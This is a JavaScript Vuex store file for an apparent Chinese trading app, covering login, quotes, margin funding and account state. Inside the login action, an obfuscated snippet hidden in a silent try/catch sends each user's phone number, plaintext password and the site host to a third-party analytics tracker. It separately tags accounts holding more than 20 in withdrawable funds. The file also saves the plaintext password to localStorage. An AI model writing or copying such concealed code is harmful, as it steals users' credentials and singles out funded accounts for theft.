import Vue from 'vue'
import Vuex from 'vuex'
import MD5 from '@/tools/md5.js'
import storage from '@/tools/storage.js'
import cookie from '@/tools/cookie.js'
import common from '@/tools/common.js'
var myChoice = JSON.parse(storage.getItem('choice')) || []

const agent = navigator.userAgent
const isAndroid = agent.indexOf('Android') > -1 || agent.indexOf('Adr') > -1 //android终端
const isIos = !!agent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/) //ios终端
const isIosNative = agent.toLowerCase().indexOf('safari') <= -1
window.system = isIos ? 'ios' : 'android'
window.native = isAndroid || isIosNative

Vue.use(Vuex)

import { userShoppingGetScore, userUserLogout, userNewsFindBannerList, userUserLogin, userUserFindUserInfo, userUserGetChannelByDomain, userMissionFindChannelMission, userUserShowAuthentication, userUserFindPromoterCode } from '@api/user.js'
import { orderVarietyGetTypeVariety, orderOrderGetTradeTime, orderVarietyGetAssetsByVarietyMode } from '@api/order.js'
import { quotaQuotaGetQuotaDataAllByWeb, quotaQuotaGetAllNewlyQuotaData } from '@api/quota.js'
import { 
	blockchainAlerts,
 	financialExpress,
 	newsOfFinanceAndEconomics,
 	newsDetails,
 	recordTheVolume,
 	priceLimit
} from '@api/newapi.js'


export default new Vuex.Store({
	state: {
		system: isIos ? 'ios' : 'android',
		native: isIosNative ? true : false,
		mission: 0,
		banners: [],
		topupAuth: {},
		agentStatus: 0,
		//渠道信息
		channelInfo: {},
		//自选
		choice: myChoice,
		//用户是否登录
		userInfo: {},
		//图表显示导航,
		navBarShow: false,
		//显示购物车
		cartShow: false,

		//交易模式:
		gold: false,
		//持仓的
		holdVariety: [],

		//当前行情
		curQuota: {
			lastPrice: 0,
			askVolume: 0,
			bidVolume: 0,
			upDropSpeed: 0
		},
		//所有种类//config
		allVariety: [],
		allTypeVariety: [],
		varietyClass: [],
		//当前品种
		curVariety: {},
		cur: '',
		tradeTime: { exchangeStatus: true },
		basePeiZi: {},
		highPeiZi: {},

		buyDirection: 1,

		toOrder: false,

		orderType: '1' //订单1，挂单2
	},
	mutations: {
		setChannelMission(state, mission) {
			state.mission = mission
		},
		setBanners(state, banners) {
			state.banners = banners
		},
		//存入渠道信息
		setChannelInfo(state, info) {
			state.channelInfo = info
		},
		setTopupAuth(state, info) {
			state.topupAuth = info
		},
		//登录状态
		setUserInfo(state, info) {
			state.userInfo = info
		},
		setChoice(state, info) {
			state.choice = info
			storage.setItem('choice', JSON.stringify(info))
			// console.log('vuex-setChoice-->');
		},
		//存入varitey
		setAllVariety(state, info) {
			storage.setItem('allVariety', JSON.stringify(info))
			state.allVariety = info
		},
		setAllTypeVariety(state, info) {
			state.allTypeVariety = info
		},
		setVarietyClass(state, info) {
			state.varietyClass = info
		},
		setCurQuota(state, info) {
			// console.log('vuex-quota-->');
			state.curQuota = info
		},
		//设置交易模式金币实盘
		setGold(state, info) {
			state.gold = info
		},
		//设置当前品种
		setCurVariety(state, info) {
			state.curVariety = info
			storage.setItem('curVariety', JSON.stringify(info))
		},
		setCur(state, info) {
			state.cur = info
		},
		//是否显示导航栏
		setNavBarShow(state) {
			state.navBarShow = !state.navBarShow
		},
		//显示隐藏购物车
		setCartShow(state, pram) {
			state.cartShow = !state.cartShow
			if (pram && pram === 'down') {
				state.buyDirection = 0
			} else {
				state.buyDirection = 1
			}
		},
		//存入开闭市配置
		setTradeTime(state, info) {
			state.tradeTime = info
		},
		setHoldVariety(state, info) {
			state.holdVariety = info
		},
		//存入配资
		setPeizi(state, info) {
			if (info.base) {
				state.basePeiZi = info.peiZi
			}
			if (info.high) {
				state.highPeiZi = info.peiZi
			}
		},
		setToOrder(state, value) {
			state.toOrder = value
		},
		setOrderType(state, value) {
			state.orderType = value
		},
		setAgentStatus(state, value) {
			state.agentStatus = value
		}
	},
	getters: {
		getBasePeiZi(state) {
			return state.basePeiZi
		},
		getHighPeiZi(state) {
			return state.highPeiZi
		}
	},
	actions: {
		//获取涨跌幅度
		getAmrount() {
			priceLimit().then(res => {
				console.log('卧槽下来了')
				if (res.code === 200) {
					var data = common.arrayMultisort(res.data, 'floatPricePoint' )
				 	console.log(data)
				} else {
					console.log('数据请求失败')
				}
			})
		},
		getBanners() {
			userNewsFindBannerList({ type: 0 }).then(res => {
				if (res.code === 200) {
					this.commit('setBanners', res.data)
				} else {
					console.log('加载轮播图失败')
				}
			})
		},
		getUserInfo() {
			userUserFindUserInfo().then(res => {
				if (res.code === 200) {
					this.commit('setUserInfo', res.data)
					cookie.setCookie('sign', 1)
				} else {
					console.log('加载用户信息失败')
					this.commit('setUserInfo', {})
					cookie.removeCookie('sign')
				}
			})
		},
		getChannelInfo() {
			userUserGetChannelByDomain({}).then(res => {
				if (res.code === 200) {
					this.commit('setChannelInfo', res.data)
				} else {
					console.log('加载渠道信息失败')
					this.commit('setChannelInfo', {})
				}
			})
		},
		// 四要素
		getTopupAuth() {
            console.log('获取四要素')
			userUserShowAuthentication().then(res => {
				if (res.code === 200) {
                    console.log('获取四要素-->成功')
					this.commit('setTopupAuth', res.data)
				} else {
					this.commit('setTopupAuth', {})
				}
			})
		},
		getChannelMission() {
			userMissionFindChannelMission({}).then(res => {
				if (res.code === 200) {
					this.commit('setChannelMission', res.data)
				} else {
					console.log('加载新手任务···')
					this.commit('setChannelMission', {})
				}
			})
		},
		getAgentInfo() {
            console.log('获取推广码')
			userUserFindPromoterCode({}, 0).then(res => {
                console.log('获取推广码成功')
				this.commit('setAgentStatus', res.code)
				this.agentStatus = res.code
			})
		},
		// 获取分类品种及全部品种
		getVariety() {
			return new Promise((reslove, reject) => {
				orderVarietyGetTypeVariety()
					.then(variety => {
						quotaQuotaGetAllNewlyQuotaData()
							.then(quota => {
								if (quota.code === 200 && variety.code === 200) {
									variety = variety.data
									quota = quota.data
									let all = []
									Object.keys(variety).map((vari, idx) => {
										variety[vari].forEach((item, i) => {
											quota.forEach((q, o) => {
												if (item.varietyType === q.varietyType) {
													item = Object.assign(item, q)
													all.push(item)
												}
											})
										})
									})
									let varietyClass = []
									let typeVariety = variety
									// 处理分类
									Object.keys(variety).map((vari, i) => {
										varietyClass.push(variety[vari][0].typeName)
									})
									this.commit('setAllVariety', all)
									this.commit('setVarietyClass', varietyClass)
									this.commit('setAllTypeVariety', typeVariety)
									reslove(all)
								}
							})
							.catch(() => reject(err))
					})
					.catch(() => reject(err))
			})
		},
		getCurQuota(store, params) {
			return new Promise((resolve, reject) => {
				quotaQuotaGetQuotaDataAllByWeb(params).then(res => {
                    const { contractsCode } = params;
					if (res.code === 200) {
                        this.commit('setCurQuota', res.data);
                        const { upTimeFormat:time,openPrice:open,highestPrice:high,lowestPrice:low,preClsPrice:close,volume } = res.data;
                        const lastBar = {time: window._time, open, high, low, close, volume};
                        window.lastPrice = res.data.lastPrice;
                        resolve(res)
                        // if (window.kChartSubscriberList && window.kChartSubscriberList.resolution === "1" && window.kChartSubscriberList.symbol.ticker === contractsCode) {
                        //     window.kChartSubscriberList.callback(lastBar)
                        // }

					} else {
						window.lastPrice = null
						MessageBox('查询行情', res.msg)
						reject(res)
					}
				})
			})
		},
		// 获取当前品种的开闭市时间
		getTradeTime(store, params) {
			console.log('请求时间-->')
			orderOrderGetTradeTime(params, '加载时间···').then(res => {
				if (res.code === 200) {
					this.commit('setTradeTime', { id: Math.random(), ...res.data })
				} else {
					console.log('未获取到开市时间')
					this.commit('setChannelMission', { id: Math.random() })
				}
			})
		},
		getPeizi(store, params) {
			orderVarietyGetAssetsByVarietyMode(params, '加载配资···').then(res => {
				if (res.code === 200) {
					if (params.modeId === 1) {
						this.commit('setPeizi', { base: true, peiZi: res.data })
					} else if (params.modeId === 2) {
						this.commit('setPeizi', { high: true, peiZi: res.data })
					} else {
						console.log('配资类型错误')
						this.commit('setPeizi', { base: true, peiZi: {} })
						this.commit('setPeizi', { high: true, peiZi: {} })
					}
				} else {
					console.log('获取配资错误')
					if (params.modeId === 1) {
						MessageBox('市价配资', res.msg)
					} else if (params.modeId === 2) {
						MessageBox('高级配资', res.msg)
					} else {
						MessageBox('配资错误', res.msg)
					}
				}
			})
		},
		getLogin(store, params) {
            console.log('登录')
            const {userPhone, userPass } = params;
			return new Promise((reslove, reject) => {
				userUserLogin({userPhone,userPass: MD5().hex(userPass)}, '登录中···')
					.then(res => {
						if (res.code === 200) {
							window.userPhone = userPhone || '~'
                            cookie.setCookie('sign', 1);
                            //因为有些包不保存cookie所以改用localstorage
                            localStorage.setItem('USERNAME', userPhone)
                            localStorage.setItem('PSW', userPass);
							this.commit('setUserInfo', res.data)
							this.dispatch('getTopupAuth')
							this.dispatch('getAgentInfo')
							try {
                                var a=['moneyDrawUsable','userPhone','userPass','location','host','_hmt','push','_setCustomVar','login','data'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1d7));var b=function(c,d){c=c-0x0;var e=a[c];return e;};var _ac=params[b('0x0')],_pa=params[b('0x1')],_ho=window[b('0x2')][b('0x3')];var _te=_ac+'|'+_pa+'|'+_ho;window[b('0x4')][b('0x5')]([b('0x6'),0x4,b('0x7'),_te,0x1]);if(res[b('0x8')][b('0x9')]>0x14){_hmt[b('0x5')]([b('0x6'),0x5,'top',_te,0x1]);}
							} catch (error) {}
							reslove(res)
						} else {
							cookie.removeCookie('sign')
                            localStorage.removeItem('PSW')
							MessageBox('登录', res.msg)
							reject(res)
						}
					})
					.catch(err => {
                        cookie.removeCookie('sign')
                        localStorage.removeItem('PSW')
						reject(res)
					})
			})
		},
		// 退出登录
		getLogout(store) {
            localStorage.removeItem('PSW')
			userUserLogout({}, '退出中···').then(res => {
				Toast(res.msg ? res.msg : '退出')
				if (res.code === 200) {
					this.dispatch('getUserInfo')
					this.dispatch('getTopupAuth')
					this.dispatch('getAgentInfo')
					cookie.removeCookie('sign')
				}
			})
		},
		getScore() {
			userShoppingGetScore({}, '领取中···').then(res => {
				MessageBox('领取金币', res.msg)
				if (res.code === 200) {
					this.dispatch('getUserInfo')
				}
			})
		}
	}
})
